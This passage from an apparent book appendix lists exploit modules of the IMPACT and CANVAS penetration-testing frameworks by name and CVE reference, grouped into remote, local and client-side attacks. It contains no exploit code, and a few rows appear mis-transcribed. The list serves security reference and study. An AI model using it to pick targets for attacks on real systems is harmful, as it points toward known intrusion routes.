<td>CVE-2005-0260</td>
</tr>
<tr>
<td>CA License Client exploit</td>
<td>CVE-2005-0582</td>
</tr>
<tr>
<td>CA Unicenter message queuing exploit</td>
<td>CVE-2005-2668</td>
</tr>
<tr>
<td>CVS flag insertion heap exploit</td>
<td>CVE-2004-0396</td>
</tr>
<tr>
<td>CVS pserver Directory command double free( ) exploit</td>
<td>CVE-2003-0015</td>
</tr>
<tr>
<td>Cyrus IMAP LOGIN exploit</td>
<td>CVE-2004-1011</td>
</tr>
<tr>
<td>dtlogin (CDE) arbitrary free exploit</td>
<td>CVE-2004-0368</td>
</tr>
<tr>
<td>dtspcld (CDE) exploit</td>
<td>CVE-2001-0803</td>
</tr>
<tr>
<td>Exchange CDO Calendar PreEnum exploit</td>
<td>CVE-2006-0027</td>
</tr>
<tr>
<td>Exchange X-LINK2STATE CHUNK command exploit</td>
<td>CVE-2005-0560</td>
</tr>
<tr>
<td>Exchange XEXCH50 command exploit</td>
<td>CVE-2003-0714</td>
</tr>
<tr>
<td>Exim sender _verify stack overflow exploit</td>
<td>CVE-2004-0399</td>
</tr>
<tr>
<td>IBM Lotus Domino IMAP Server buffer overflow exploit</td>
<td>CVE-2007-1675</td>
</tr>
<tr>
<td>IIS HTR Chunked Encoding exploit</td>
<td>CVE-2002-0364</td>
</tr>
<tr>
<td>IIS CGI Filename Decode exploit</td>
<td>CVE-2001-0333</td>
</tr>
<tr>
<td>IIS ASP Chunked Encoding exploit</td>
<td>CVE-2002-0079</td>
</tr>
<tr>
<td>IIS FrontPage Extensions (fp30reg.dll) exploit</td>
<td>CVE-2003-0822</td>
</tr>
<tr>
<td>IIS IDA-IDQ exploit</td>
<td>CVE-2001-0500</td>
</tr>
<tr>
<td>IIS MDAC Content-Length exploit</td>
<td>CVE-2002-1142</td>
</tr>
<tr>
<td>IIS Media Services (nsisilog.dll) exploit</td>
<td>CVE-2003-0277</td>
</tr>
<tr>
<td>IIS Phone Book Service exploit</td>
<td>CVE-2000-1089</td>
</tr>
<tr>
<td>IIS Printer exploit</td>
<td>CVE-2001-0241</td>
</tr>
<tr>
<td>IIS Unicode exploit</td>
<td>CVE-2000-0884</td>
</tr>
<tr>
<td>IIS WebDAV exploit</td>
<td>CVE-2003-0109</td>
</tr>
<tr>
<td>ISC DHCPD buffer overflow exploit</td>
<td>CVE-2004-0460</td>
</tr>
<tr>
<td>IPSwitch IMail login exploit</td>
<td>CVE-2005-1255</td>
</tr>
<tr>
<td>Kerio PF Administration exploit</td>
<td>CVE-2003-0220</td>
</tr>
<tr>
<td>LANDesk Management Suite Alert Service exploit</td>
<td>CVE-2007-1674</td>
</tr>
<tr>
<td>LPRng format string exploit</td>
<td>CVE-2000-0917</td>
</tr>
<tr>
<td>MailEnable HTTPS exploit</td>
<td>CVE-2005-1348</td>
</tr>
<tr>
<td>MDaemon IMAP exploit</td>
<td>CVE-2004-1546</td>
</tr>
<tr>
<td>MDaemon POP3 exploit</td>
<td>CVE-2006-4364</td>
</tr>
<tr>
<td>MailEnable IMAP STATUS command exploit</td>
<td>CVE-2005-2278</td>
</tr>
<tr>
<td>MailEnable IMAPD W3C logging buffer overflow exploit</td>
<td>CVE-2005-3155</td>
</tr>
</tbody>
</table>
Table C-2. Remote IMPACT exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>MailEnable SMTP AUTH command exploit</td>
<td>CVE-2005-2223</td>
</tr>
<tr>
<td>McAfee ePolicy Orchestrator - Protection Pilot HTTP exploit</td>
<td>CVE-2006-5156</td>
</tr>
<tr>
<td>MDaemon Form2Raw exploit</td>
<td>CVE-2003-1200</td>
</tr>
<tr>
<td>Microsoft SSL PCT handshake overflow exploit</td>
<td>CVE-2003-0719</td>
</tr>
<tr>
<td>Microsoft WINS NameValidation exploit</td>
<td>CVE-2004-0567</td>
</tr>
<tr>
<td>miniserv perl format string exploit</td>
<td>CVE-2005-3912</td>
</tr>
<tr>
<td>MSRPC DCOM exploit</td>
<td>CVE-2003-0352</td>
</tr>
<tr>
<td>MSRPC DCOM heap corruption exploit</td>
<td>CVE-2003-0715</td>
</tr>
<tr>
<td>MSRPC DNS Server RPC interface exploit</td>
<td>CVE-2007-1748</td>
</tr>
<tr>
<td>MSRPC LLSSRV buffer overflow exploit</td>
<td>CVE-2005-0050</td>
</tr>
<tr>
<td>MSRPC Locator exploit</td>
<td>CVE-2003-0003</td>
</tr>
<tr>
<td>MSRPC LSASS buffer overflow exploit</td>
<td>CVE-2003-0533</td>
</tr>
<tr>
<td>MSRPC Messenger exploit</td>
<td>CVE-2003-0717</td>
</tr>
<tr>
<td>MSRPC MSMQ buffer overflow exploit</td>
<td>CVE-2005-0059</td>
</tr>
<tr>
<td>MSRPC Netware Client buffer overflow exploit</td>
<td>CVE-2005-1985</td>
</tr>
<tr>
<td>MSRPC Netware Client CSNW overflow exploit</td>
<td>CVE-2006-4688</td>
</tr>
<tr>
<td>MSRPC RRAS exploit</td>
<td>CVE-2006-2370</td>
</tr>
<tr>
<td>MSRPC Samba command injection exploit</td>
<td>CVE-2007-2447</td>
</tr>
<tr>
<td>MSRPC SPOOLSS buffer overflow exploit</td>
<td>CVE-2005-1984</td>
</tr>
<tr>
<td>MSRPC SRVSVC NetrpPathCanonicalize (MS06-040) exploit</td>
<td>CVE-2006-3439</td>
</tr>
<tr>
<td>MSRPC Trend Micro Server Protect buffer overflow exploit</td>
<td>CVE-2007-1070</td>
</tr>
<tr>
<td>MSRPC UMPNPNGR exploit</td>
<td>CVE-2005-1983</td>
</tr>
<tr>
<td>MSRPC WKSSVC exploit</td>
<td>CVE-2003-0812</td>
</tr>
<tr>
<td>MSRPC WKSSVC NetpManagePCCConnect exploit</td>
<td>CVE-2006-4691</td>
</tr>
<tr>
<td>MySQL CREATE function exploit</td>
<td>CVE-2005-0709</td>
</tr>
<tr>
<td>MySQL MaxDB WebTool GET request buffer overflow exploit</td>
<td>CVE-2005-0684</td>
</tr>
<tr>
<td>MySQL password handler exploit</td>
<td>CVE-2003-0780</td>
</tr>
<tr>
<td>NetDDE buffer overflow exploit</td>
<td>CVE-2004-0206</td>
</tr>
<tr>
<td>MSRPC Netware Client Print buffer overflow exploit</td>
<td>CVE-2006-5854</td>
</tr>
<tr>
<td>Novell eDirectory HTTP protocol exploit</td>
<td>CVE-2006-5478</td>
</tr>
<tr>
<td>SQL Server CVE-2002-0649 exploit</td>
<td>CVE-2002-0649</td>
</tr>
<tr>
<td>SQL Server Hello exploit</td>
<td>CVE-2002-1123</td>
</tr>
<tr>
<td>Squid NTLM Authentication exploit</td>
<td>CVE-2004-0541</td>
</tr>
<tr>
<td>SSH integer overflow exploit</td>
<td>CVE-2001-0144</td>
</tr>
<tr>
<td>SunONE-iPlanet Web Server Chunked Encoding exploit</td>
<td>CVE-2002-0845</td>
</tr>
<tr>
<td>Sun Java Web SOCKS proxy authentication exploit</td>
<td>CVE-2007-2881</td>
</tr>
</tbody>
</table>
### Table C-2. Remote IMPACT exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sun ONE Web Server NSS challenge overflow exploit</td>
<td>CVE-2004-0826</td>
</tr>
<tr>
<td>Symantec Discovery XFERWAN buffer overflow exploit</td>
<td>CVE-2007-1173</td>
</tr>
<tr>
<td>Symantec Rtvscan buffer overflow exploit</td>
<td>CVE-2006-2630</td>
</tr>
<tr>
<td>Solaris /bin/login exploit</td>
<td>CVE-2001-0797</td>
</tr>
<tr>
<td>Solaris Telnet –froot exploit</td>
<td>CVE-2007-0882</td>
</tr>
<tr>
<td>Solaris RPC ttinstitution format string exploit</td>
<td>CVE-2001-0717</td>
</tr>
<tr>
<td>Solaris RPC ttinstitution xdr_array() exploit</td>
<td>CVE-2002-0391</td>
</tr>
<tr>
<td>VERITAS Backup Exec Agent exploit</td>
<td>CVE-2005-0773</td>
</tr>
<tr>
<td>VERITAS Backup Exec exploit</td>
<td>CVE-2004-1172</td>
</tr>
<tr>
<td>VERITAS NetBackup BPJava exploit</td>
<td>CVE-2005-2715</td>
</tr>
<tr>
<td>WarFTPd USER-PASS command overflow exploit</td>
<td>CVE-1999-0256</td>
</tr>
<tr>
<td>Windows SMB Transaction NULL pointer DoS</td>
<td>CVE-2006-3942</td>
</tr>
<tr>
<td>WS_FTP 5.05 XMD5 buffer overflow exploit</td>
<td>CVE-2006-5000</td>
</tr>
<tr>
<td>WU-FTP format string exploit</td>
<td>CVE-2000-0573</td>
</tr>
<tr>
<td>WU-FTP glob ‘~’ exploit</td>
<td>CVE-2001-0550</td>
</tr>
</tbody>
</table>

### Table C-3. Local and postauthentication IMPACT exploit modules

<table>
<thead>
<tr>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>AIX update _flash PATH usage exploit</td>
<td>CVE-2006-2647</td>
</tr>
<tr>
<td>cachefsd buffer overrun exploit</td>
<td>CVE-2002-0084</td>
</tr>
<tr>
<td>CDRTools RSH local exploit</td>
<td>CVE-2004-0806</td>
</tr>
<tr>
<td>CSRSS facename exploit</td>
<td>CVE-2005-0551</td>
</tr>
<tr>
<td>OpenBSD crontabmail(–) exploit</td>
<td>CVE-2002-0542</td>
</tr>
<tr>
<td>IIS ASP Server-Side Include (SSI) exploit</td>
<td>CVE-2002-0149</td>
</tr>
<tr>
<td>LD_PRELOAD buffer overflow exploit</td>
<td>CVE-2003-0609</td>
</tr>
<tr>
<td>Linux kernel do_brk( ) exploit</td>
<td>CVE-2003-0961</td>
</tr>
<tr>
<td>Linux kernel memmapunmap exploit</td>
<td>CVE-2004-0077</td>
</tr>
<tr>
<td>Linux kmod-ptrace race condition exploit</td>
<td>CVE-2003-0127</td>
</tr>
<tr>
<td>Linux NVIDA exploit</td>
<td>CVE-2006-5379</td>
</tr>
<tr>
<td>Linux ptrace-exec race condition exploit</td>
<td>CVE-2001-1384</td>
</tr>
<tr>
<td>Linux suid_dumpable exploit</td>
<td>CVE-2006-2451</td>
</tr>
<tr>
<td>Linux vixie-cron exploit</td>
<td>CVE-2006-2607</td>
</tr>
<tr>
<td>Linuxconf LINUXCONF_LANG overflow exploit</td>
<td>CVE-2002-1506</td>
</tr>
<tr>
<td>Windows Telephony Service buffer overflow exploit</td>
<td>CVE-2002-1506</td>
</tr>
<tr>
<td>Mach exception handling exploit</td>
<td>CVE-2006-4392</td>
</tr>
<tr>
<td>Windows GDI kernel local privilege escalation exploit</td>
<td>CVE-2006-5758</td>
</tr>
</tbody>
</table>
Appendix C: Exploit Framework Modules

Table C-3. Local and postauthentication IMPACT exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ubuntu 5.10 password recovery escalation exploit</td>
<td>CVE-2006-1183</td>
</tr>
<tr>
<td>Netscape Portable Runtime Environment log file overwrite exploit</td>
<td>CVE-2006-4842</td>
</tr>
<tr>
<td>OpenBSD select() overflow exploit</td>
<td>CVE-2002-1420</td>
</tr>
<tr>
<td>OpenBSD setitimer() exploit</td>
<td>CVE-2002-2180</td>
</tr>
<tr>
<td>ProFTPD Controls buffer overflow exploit</td>
<td>CVE-2006-6563</td>
</tr>
<tr>
<td>Serv-U LocalAdministrator exploit</td>
<td>CVE-2004-2532</td>
</tr>
<tr>
<td>Solaris ff.core rename exploit</td>
<td>CVE-1999-0442</td>
</tr>
<tr>
<td>Solaris LD_AUDIT exploit</td>
<td>CVE-2005-2072</td>
</tr>
<tr>
<td>Solaris libsladap local exploit</td>
<td>CVE-2001-1582</td>
</tr>
<tr>
<td>Solaris passwd exploit</td>
<td>CVE-2004-0360</td>
</tr>
<tr>
<td>Solaris priocntl() system call exploit</td>
<td>CVE-2002-1296</td>
</tr>
<tr>
<td>Solaris vfs_acf_getfsswl() exploit</td>
<td>CVE-2004-2686</td>
</tr>
<tr>
<td>super format string exploit</td>
<td>CVE-2004-0579</td>
</tr>
<tr>
<td>SuSE Linux chfn exploit</td>
<td>CVE-2005-3503</td>
</tr>
<tr>
<td>TrueCrypt privilege escalation exploit</td>
<td>CVE-2007-1738</td>
</tr>
<tr>
<td>Windows 2000 NetDDE exploit</td>
<td>CVE-2002-1230</td>
</tr>
<tr>
<td>Windows Debugging Subsystem exploit</td>
<td>CVE-2002-0367</td>
</tr>
<tr>
<td>Windows Image Acquisition CommandLine exploit</td>
<td>CVE-2007-0210</td>
</tr>
<tr>
<td>Windows NTVDM bop exploit</td>
<td>CVE-2004-0208</td>
</tr>
<tr>
<td>Windows POSIX Subsystem exploit</td>
<td>CVE-2004-0210</td>
</tr>
<tr>
<td>Windows Shell Hardware Detection exploit</td>
<td>CVE-2007-0211</td>
</tr>
<tr>
<td>Xorg privilege escalation exploit</td>
<td>CVE-2006-0745</td>
</tr>
</tbody>
</table>

Table C-4. Client-side exploit modules

<table>
<thead>
<tr>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adobe Reader and Acrobat PDF subroutine pointer exploit</td>
<td>CVE-2006-5857</td>
</tr>
<tr>
<td>Apple QuickTime Java toQTPointer() code execution exploit</td>
<td>CVE-2007-2175</td>
</tr>
<tr>
<td>AcSoft DVD Tools buffer overflow exploit</td>
<td>CVE-2007-0976</td>
</tr>
<tr>
<td>EnjoySAP ActiveX exploit</td>
<td>CVE-2007-3605</td>
</tr>
<tr>
<td>Firefox compareTo exploit</td>
<td>CVE-2005-2265</td>
</tr>
<tr>
<td>GNOME Evince PostScript exploit</td>
<td>CVE-2006-5864</td>
</tr>
<tr>
<td>IBM Lotus Notes buffer overflow exploit</td>
<td>CVE-2005-2618</td>
</tr>
<tr>
<td>IE create TextRange exploit</td>
<td>CVE-2006-1359</td>
</tr>
<tr>
<td>IE devenum.dll COM Object exploit</td>
<td>CVE-2005-1990</td>
</tr>
<tr>
<td>IE DHTML Object memory corruption exploit</td>
<td>CVE-2005-0553</td>
</tr>
<tr>
<td>IE Drag and Drop exploit</td>
<td>CVE-2004-0839</td>
</tr>
<tr>
<td>Name</td>
<td>Reference</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>-------------</td>
</tr>
<tr>
<td>IE HTML Help Control exploit</td>
<td>CVE-2004-1043</td>
</tr>
<tr>
<td>IE IFRAME buffer overflow exploit</td>
<td>CVE-2004-1050</td>
</tr>
<tr>
<td>IE isComponentInstalled exploit</td>
<td>CVE-2006-1016</td>
</tr>
<tr>
<td>IE javaprx.dll COM Object exploit</td>
<td>CVE-2005-2087</td>
</tr>
<tr>
<td>IE MS06-42 patch exploit</td>
<td>CVE-2006-3869</td>
</tr>
<tr>
<td>IE Object Data Tag exploit</td>
<td>CVE-2003-0532</td>
</tr>
<tr>
<td>IE OnloadWindow( ) exploit</td>
<td>CVE-2005-1790</td>
</tr>
<tr>
<td>IE VML buffer overflow exploit</td>
<td>CVE-2006-4868</td>
</tr>
<tr>
<td>IE webbrowser _control exploit</td>
<td>CVE-2003-1328</td>
</tr>
<tr>
<td>IE XML HTTP exploit</td>
<td>CVE-2006-5745</td>
</tr>
<tr>
<td>IncrediMail ActiveX exploit</td>
<td>CVE-2007-1683</td>
</tr>
<tr>
<td>JPEG (GDI++) VGX exploit</td>
<td>CVE-2004-0200</td>
</tr>
<tr>
<td>libpng mail client exploit</td>
<td>CVE-2004-0597</td>
</tr>
<tr>
<td>McAfee ePolicy Orchestrator ActiveX exploit</td>
<td>CVE-2007-1498</td>
</tr>
<tr>
<td>Media Player IE Zone bypass exploit</td>
<td>CVE-2003-0838</td>
</tr>
<tr>
<td>Media Player Non-IE plug-in exploit</td>
<td>CVE-2006-0025</td>
</tr>
<tr>
<td>Media Player PNG header overflow exploit</td>
<td>CVE-2006-0025</td>
</tr>
<tr>
<td>Microsoft Hlink Overflow exploit</td>
<td>CVE-2006-3086</td>
</tr>
<tr>
<td>Microsoft IE URI handler command injection exploit</td>
<td>CVE-2007-3670</td>
</tr>
<tr>
<td>Microsoft Outlook MS07-003 exploit</td>
<td>CVE-2007-0034</td>
</tr>
<tr>
<td>Microsoft Publisher MS07-037 exploit</td>
<td>CVE-2007-1754</td>
</tr>
<tr>
<td>Microsoft Speech API ActiveX control exploit</td>
<td>CVE-2007-2222</td>
</tr>
<tr>
<td>Microsoft Visio 2002 MS07-030 exploit</td>
<td>CVE-2007-0936</td>
</tr>
<tr>
<td>Microsoft Word MS07-014 exploit</td>
<td>CVE-2006-6561</td>
</tr>
<tr>
<td>NCTAudioFile2 ActiveX buffer overflow exploit</td>
<td>CVE-2007-0018</td>
</tr>
<tr>
<td>Thunderbird Content-Type heap overflow</td>
<td>CVE-2006-6505</td>
</tr>
<tr>
<td>MSN LibPNG exploit</td>
<td>CVE-2004-0597</td>
</tr>
<tr>
<td>Outlook Express NNTP response exploit</td>
<td>CVE-2005-1213</td>
</tr>
<tr>
<td>QuickTime JPEG exploit</td>
<td>CVE-2005-2340</td>
</tr>
<tr>
<td>QuickTime RTSP URL exploit</td>
<td>CVE-2007-0015</td>
</tr>
<tr>
<td>SecureCRT exploit</td>
<td>CVE-2002-1059</td>
</tr>
<tr>
<td>NeoTrace ActiveX exploit</td>
<td>CVE-2006-6707</td>
</tr>
<tr>
<td>Norton Internet Security 2004 ActiveX Control buffer overflow exploit</td>
<td>CVE-2007-1689</td>
</tr>
<tr>
<td>uTorrent File Handling buffer overflow exploit</td>
<td>CVE-2007-0927</td>
</tr>
<tr>
<td>VBE Object ID buffer overflow</td>
<td>CVE-2003-0347</td>
</tr>
<tr>
<td>VersaSoft HTTP File Uploader buffer overflow exploit</td>
<td>CVE-2007-2563</td>
</tr>
</tbody>
</table>
Table C-5 lists exploit modules within CANVAS at the time of this writing.

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>IPSWITCH_CAL</td>
<td>Ipswitch IMail web calendar directory traversal</td>
<td>CVE-2005-1252</td>
</tr>
<tr>
<td>MICROSOFT WINDOWS LSASS RPC OVERFLOW</td>
<td>Windows LSASS RPC service stack overflow</td>
<td>CVE-2003-0533</td>
</tr>
<tr>
<td>IMAIL_IMAP</td>
<td>Ipswitch IMail IMAP stack overflow</td>
<td>CVE-2005-1255</td>
</tr>
<tr>
<td>MERCUR IMAP SUBSCRIBE STACK OVERFLOW</td>
<td>Mercur IMAP stack overflow in the SUBSCRIBE command</td>
<td>CVE-2007-1579</td>
</tr>
<tr>
<td>MSSQ INJECT</td>
<td>MS SQL injection routines</td>
<td>N/A</td>
</tr>
<tr>
<td>IPSWITCH WS_FTP SERVER XCRC OVERFLOW</td>
<td>Ipswitch WS_FTP Server XCRC stack overflow</td>
<td>CVE-2006-5000</td>
</tr>
<tr>
<td>RASMAN RPC SERVER STACK OVERFLOW</td>
<td>Windows RasMan RPC service stack overflow</td>
<td>CVE-2006-2371</td>
</tr>
<tr>
<td>MICROSOFT WINDOWS PNP RPC OVERFLOW</td>
<td>Windows UPnP RPC stack overflow</td>
<td>CVE-2005-1983</td>
</tr>
<tr>
<td>CITRIX METAFRAME XP PRINT PROVIDOR OVERFLOW</td>
<td>Citrix MetaFrame XP Print Provider stack overflow</td>
<td>CVE-2007-0444</td>
</tr>
<tr>
<td>SNORT RPC</td>
<td>Snort 2.6.2 DCE/RPC reassembly exploit</td>
<td>CVE-2006-5276</td>
</tr>
<tr>
<td>STINKY</td>
<td>Snort 2.4.2 Back Orifice preprocessor exploit</td>
<td>CVE-2005-3252</td>
</tr>
<tr>
<td>ORACLE8I TNS LISTENER STACK OVERFLOW</td>
<td>Oracle TNS Listener stack overflow</td>
<td>CVE-2001-0499</td>
</tr>
<tr>
<td>MDAEMON IMAP</td>
<td>Mdaemon IMAP stack overflow</td>
<td>CVE-2004-2292</td>
</tr>
<tr>
<td>ASN.1 BITSTRING DECODING EXPLOIT</td>
<td>Windows ASN.1 bitstring decoding heap overflow</td>
<td>CVE-2005-1935</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Reference</td>
</tr>
<tr>
<td>------</td>
<td>-------------</td>
<td>-----------</td>
</tr>
<tr>
<td>EZNET</td>
<td>EZNet stack overflow</td>
<td>CVE-2003-1339</td>
</tr>
<tr>
<td>CESARFTP</td>
<td>CesarFTP MKD command stack overflow</td>
<td>CVE-2006-2961</td>
</tr>
<tr>
<td>MS EXCHANGE 2000 XEXCH50 INTEGER OVERFLOW</td>
<td>Microsoft Exchange 2000 XEXCH50 integer overflow</td>
<td>CVE-2003-0714</td>
</tr>
<tr>
<td>MS_SETSLICE</td>
<td>Internet Explorer setSlice exploit</td>
<td>CVE-2006-3730</td>
</tr>
<tr>
<td>NOVELL GROUPWISE WEBACCESS BASE64 DECODING STACK OVERFLOW</td>
<td>Novell GroupWise WebAccess base64 decode stack overflow</td>
<td>CVE-2007-2171</td>
</tr>
<tr>
<td>WMP MALFORMED PNG</td>
<td>Microsoft Windows Media Player Malformed PNG remote code execution</td>
<td>CVE-2006-0025</td>
</tr>
<tr>
<td>WUFTP SITE EXEC FORMATSTRING BUG</td>
<td>WU-FTPD SITE EXEC format string bug</td>
<td>CVE-2000-0573</td>
</tr>
<tr>
<td>ICECAST EXPLOIT</td>
<td>Icecast server overflow</td>
<td>CVE-2004-1561</td>
</tr>
<tr>
<td>SUBVERSION &lt;=1.0.2 UTF-8 APACHE2/WEBDAV STACK VS. HEAP EXPLOIT</td>
<td>Subversion UTF-8 Apache2/WebDAV stack overflow</td>
<td>CVE-2004-0397</td>
</tr>
<tr>
<td>PHP_LIMIT</td>
<td>PHP 4.3.7 memory_limit exploit</td>
<td>CVE-2004-0594</td>
</tr>
<tr>
<td>SAPDB</td>
<td>(0day) SAPDB stack overflow</td>
<td>Unknown</td>
</tr>
<tr>
<td>HORDE EVAL</td>
<td>Horde Application Framework Eval injection exploit</td>
<td>CVE-2006-1491</td>
</tr>
<tr>
<td>SALVO</td>
<td>Internet Explorer VML stack overflow</td>
<td>CVE-2006-4868</td>
</tr>
<tr>
<td>NOVELL NETWARE CLIENT FOR WINDOWS</td>
<td>Novell Netware Client for Windows Print Provider stack overflow</td>
<td>CVE-2006-5854</td>
</tr>
<tr>
<td>WS_FTPD</td>
<td>WS_FTPD stack overflow</td>
<td>CVE-2001-1021</td>
</tr>
<tr>
<td>IISASP</td>
<td>Microsoft IIS 5.0 ASP heap overflow</td>
<td>CVE-2001-0241</td>
</tr>
<tr>
<td>WEBSNAP REMOTE EXPLOIT</td>
<td>Webmin miniserv.pl exploit</td>
<td>CVE-2005-3912</td>
</tr>
<tr>
<td>IPLANET CHUNKED ENCODING</td>
<td>iPlanet Chunked-Encoding overflow</td>
<td>CVE-2002-0845</td>
</tr>
<tr>
<td>WINAMP 5.12 .PLS OVERFLOW</td>
<td>Winamp 5.12 PLS overflow</td>
<td>CVE-2006-0476</td>
</tr>
<tr>
<td>MICROSOFT NETWARE</td>
<td>Microsoft Netware RPC overflow</td>
<td>CVE-2005-1985</td>
</tr>
<tr>
<td>WORLDMAIL</td>
<td>Eudora Qualcomm WorldMail 3.0 IMAP4 stack overflow</td>
<td>CVE-2005-4267</td>
</tr>
<tr>
<td>MICROSOFT WINDOWS WORKSTATION SERVICE RPC OVERFLOW</td>
<td>Microsoft Windows Workstation Service RPC stack overflow</td>
<td>CVE-2003-0812</td>
</tr>
<tr>
<td>NETDDE THROUGH NETBIOS</td>
<td>NETDDE.EXE exploit through NetBIOS</td>
<td>CVE-2004-0206</td>
</tr>
<tr>
<td>GREENAPPLE</td>
<td>Windows SMB client transaction response overflow</td>
<td>CVE-2005-0045</td>
</tr>
<tr>
<td>RADEXEC.EXE</td>
<td>HP Radix Notify Daemon 3.1 overflow</td>
<td>CVE-2005-1825</td>
</tr>
<tr>
<td>IAWEBMAIL</td>
<td>IA WebMail 3.1 stack overflow</td>
<td>CVE-2003-1192</td>
</tr>
<tr>
<td>NAIIAS32</td>
<td>NAI Enterprise Virus 7.0 stack overflow</td>
<td>CVE-2004-0095</td>
</tr>
<tr>
<td>NSS OVERFLOW</td>
<td>Netscape NSS library heap overflow</td>
<td>CVE-2004-0826</td>
</tr>
<tr>
<td>LPC LOCAL</td>
<td>Windows LPC privilege escalation exploit</td>
<td>CVE-2004-0893</td>
</tr>
<tr>
<td>MQSVCS</td>
<td>Microsoft Message Queuing Service Buffer overflow</td>
<td>Windows Message Queuing RPC service overflow</td>
</tr>
</tbody>
</table>
### Table C-5. CANVAS exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>MICROSOFT WINDOWS RPC LOCATOR OVERFLOW</td>
<td>Windows RPC locator service overflow</td>
<td>CVE-2003-0003</td>
</tr>
<tr>
<td>WFTPD</td>
<td>wFTPD SIZE command stack overflow</td>
<td>CVE-2006-4318</td>
</tr>
<tr>
<td>NOVELL NETMAIL</td>
<td>Novell NetMail LOGIN stack overflow</td>
<td>CVE-2006-5478</td>
</tr>
<tr>
<td>WMF SETABOUT</td>
<td>Microsoft WMF file parser exploit</td>
<td>CVE-2005-4560</td>
</tr>
<tr>
<td>SAOMIND</td>
<td>Solaris RPC sadmind exploit</td>
<td>CVE-2003-0722</td>
</tr>
<tr>
<td>GDWRITE4</td>
<td>A vulnerability in the way Windows 2000/XP handles GDI structures allows for writing to kernel space</td>
<td>CVE-2006-5758</td>
</tr>
<tr>
<td>TNG - CAM.EXE</td>
<td>TNG cam.exe stack overflow</td>
<td>CVE-2004-1812</td>
</tr>
<tr>
<td>DSU</td>
<td>Linux local kernel (2.6.13 &lt; 2.6.17.4) pctl exploit</td>
<td>CVE-2006-3626</td>
</tr>
<tr>
<td>UT2004 (SECURE)</td>
<td>Unreal Tournament 2004 (secure). stack overflow</td>
<td>CVE-2004-0608</td>
</tr>
<tr>
<td>YPPASSWDWDO YPPASSWD_UPDATE STACK OVERFLOW</td>
<td>Solaris RPC yppasswd stack overflow</td>
<td>CVE-2001-0779</td>
</tr>
<tr>
<td>IMAIL SMTPD32 STACK OVERFLOW</td>
<td>IMail SMTP service stack overflow</td>
<td>CVE-2006-4579</td>
</tr>
<tr>
<td>IIS5WEBDAV</td>
<td>Microsoft IIS 5.0 WebDAV stack overflow</td>
<td>CVE-2001-0241</td>
</tr>
<tr>
<td>RASMAN RPC SERVER SIGNEDNESS BUG</td>
<td>Windows RasMan RPC service signedness bug</td>
<td>CVE-2006-2370</td>
</tr>
<tr>
<td>FILECOPA</td>
<td>FileCOPA FTP server LIST command overflow</td>
<td>CVE-2006-3726</td>
</tr>
<tr>
<td>INSIGHT</td>
<td>Compaq Insight CIM-XML exploit</td>
<td>Unknown</td>
</tr>
<tr>
<td>IIS 5.0 INDEX SERVER ISAPI (.IDA) OVERFLOW</td>
<td>Microsoft IIS 5.0 IDA stack overflow</td>
<td>CVE-2001-0500</td>
</tr>
<tr>
<td>APACHE CHUNK WIN32</td>
<td>Apache chunked-encoding win32 exploit</td>
<td>CVE-2002-0392</td>
</tr>
<tr>
<td>WARFTP_.165</td>
<td>WarFTP 1.65 USER command overflow</td>
<td>CVE-1999-0256</td>
</tr>
<tr>
<td>REALSEVER</td>
<td>RealServer stack overflow</td>
<td>CVE-2002-1643</td>
</tr>
<tr>
<td>NOVELL NETMAIL WEBADMIN STACK OVERFLOW</td>
<td>Novell NetMail 3.5.2 webadmin.exe stack overflow</td>
<td>CVE-2007-1350</td>
</tr>
<tr>
<td>SMBBRUTE</td>
<td>SMB brute-force password grinding</td>
<td>N/A</td>
</tr>
<tr>
<td>MSIMPERSONATE</td>
<td>Windows LSASS local privilege escalation</td>
<td>CVE-2004-0894</td>
</tr>
<tr>
<td>SYMANTEC REMOTE MANAGEMENT RTVSCAN.EXE STACK OVERFLOW</td>
<td>Symantec Remote Management stack overflow</td>
<td>CVE-2006-2630</td>
</tr>
<tr>
<td>SMARTAG._WORD</td>
<td>Microsoft Word SmarTag bug</td>
<td>CVE-2006-2492</td>
</tr>
<tr>
<td>MAILENABLE WEBMAIL AUTHORIZATION BUFFER OVERFLOW</td>
<td>MailEnable WebMail authorization buffer overflow</td>
<td>CVE-2005-1348</td>
</tr>
<tr>
<td>SAMBA_NTRANS</td>
<td>Samba ntrans( ) overflow</td>
<td>CVE-2003-0085</td>
</tr>
<tr>
<td>MAILENABLE_IMAP</td>
<td>MailEnable IMAP LOGIN command overflow</td>
<td>CVE-2005-1015</td>
</tr>
<tr>
<td>MAILENABLE SMTP STACK OVERFLOW</td>
<td>MailEnable stack overflow</td>
<td>CVE-2005-2223</td>
</tr>
<tr>
<td>HARBOR LISTEN.EXE</td>
<td>Harbor Listen.exe</td>
<td>Unknown</td>
</tr>
<tr>
<td>IN.LPD</td>
<td>Solaris 8 LPD command execution</td>
<td>CVE-2001-0353</td>
</tr>
<tr>
<td>MS06_.066</td>
<td>Windows Client Service for NetWare RPC stack overflow</td>
<td>CVE-2006-4688</td>
</tr>
</tbody>
</table>
### Table C-5. CANVAS exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>CA LICENSE OVERFLOW</td>
<td>CA License Manager stack overflow</td>
<td>CVE-2005-0581</td>
</tr>
<tr>
<td>AW SERVICES .EXE</td>
<td>TNG awservices.exe stack overflow</td>
<td>CVE-2004-1812</td>
</tr>
<tr>
<td>CVS PSERVERD</td>
<td>CVS pserverd heap overflow (Linux, FreeBSD, HP-UX, SCO)</td>
<td>CVE-2004-0396</td>
</tr>
<tr>
<td>FP30REG</td>
<td>FP30REG.DLL chunked encoding heap overflow</td>
<td>CVE-2003-0822</td>
</tr>
